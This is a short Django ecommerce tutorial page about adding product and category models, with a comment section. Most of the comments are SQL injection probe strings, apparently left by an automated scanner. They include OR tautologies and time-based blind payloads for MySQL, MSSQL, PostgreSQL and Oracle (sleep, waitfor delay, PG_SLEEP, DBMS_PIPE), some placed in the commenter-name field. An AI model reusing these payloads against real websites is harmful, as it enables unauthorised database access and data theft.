Adding products - Django Ecommerce Website - Htmx and Tailwind

It's time to start adding some dynamic data to our Django Ecommerce Website. So in this part, we will add database models for the categories and the products.

We will also use the Django Admin Interface for adding some data to the database as well.

The products we add to the database will also be added to the front page of our project, so we can remove the hardcoded products there.

Comments

Lamin | Mar 16, 22 10:05

You forgot us!!! Not part’s are added here like on YouTube.


Stein Ove Helset | Mar 22, 22 01:03

Ah, they will come :-D

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

-1 OR 2+53-53-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:54

-1 OR 2+502-502-1=0+0+0+1

EFSArCBy | Jul 02, 26 08:54

-1' OR 2+873-873-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:54

-1' OR 2+466-466-1=0+0+0+1 or 'JktBCexj'='

EFSArCBy | Jul 02, 26 08:54

-1" OR 2+960-960-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:54

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 08:54

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 08:54

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 08:54

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 08:54

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:54

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:54

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:54

555S8wSahW8'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:54

555-1 OR 648=(SELECT 648 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:54

555-1) OR 68=(SELECT 68 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:54

555-1)) OR 116=(SELECT 116 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:54

555GmhX9vOm' OR 774=(SELECT 774 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:54

555fS9cZ1EW') OR 432=(SELECT 432 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:54

5555DQJFk1W')) OR 333=(SELECT 333 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:54

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 08:54

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555'"

EFSArCBy | Jul 02, 26 08:54

@@HHs7v

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

-1 OR 2+144-144-1=0+0+0+1 -- | Jul 02, 26 08:54

555

-1 OR 2+975-975-1=0+0+0+1 | Jul 02, 26 08:54

555

-1' OR 2+785-785-1=0+0+0+1 -- | Jul 02, 26 08:54

555

-1' OR 2+21-21-1=0+0+0+1 or 'XGISyG5A'=' | Jul 02, 26 08:54

555

-1" OR 2+783-783-1=0+0+0+1 -- | Jul 02, 26 08:54

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 08:54

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 08:54

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 08:54

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 08:54

555

EFSArCByIAV1FsLz'; waitfor delay '0:0:15' -- | Jul 02, 26 08:54

555

EFSArCByMAAu2NQz' OR 189=(SELECT 189 FROM PG_SLEEP(15))-- | Jul 02, 26 08:54

555

EFSArCByOpu521LQ') OR 633=(SELECT 633 FROM PG_SLEEP(15))-- | Jul 02, 26 08:54

555

EFSArCByWi594Wfb')) OR 240=(SELECT 240 FROM PG_SLEEP(15))-- | Jul 02, 26 08:54

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy'" | Jul 02, 26 08:55

555

@@fU9YQ | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

EFSArCBy | Jul 02, 26 08:55

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.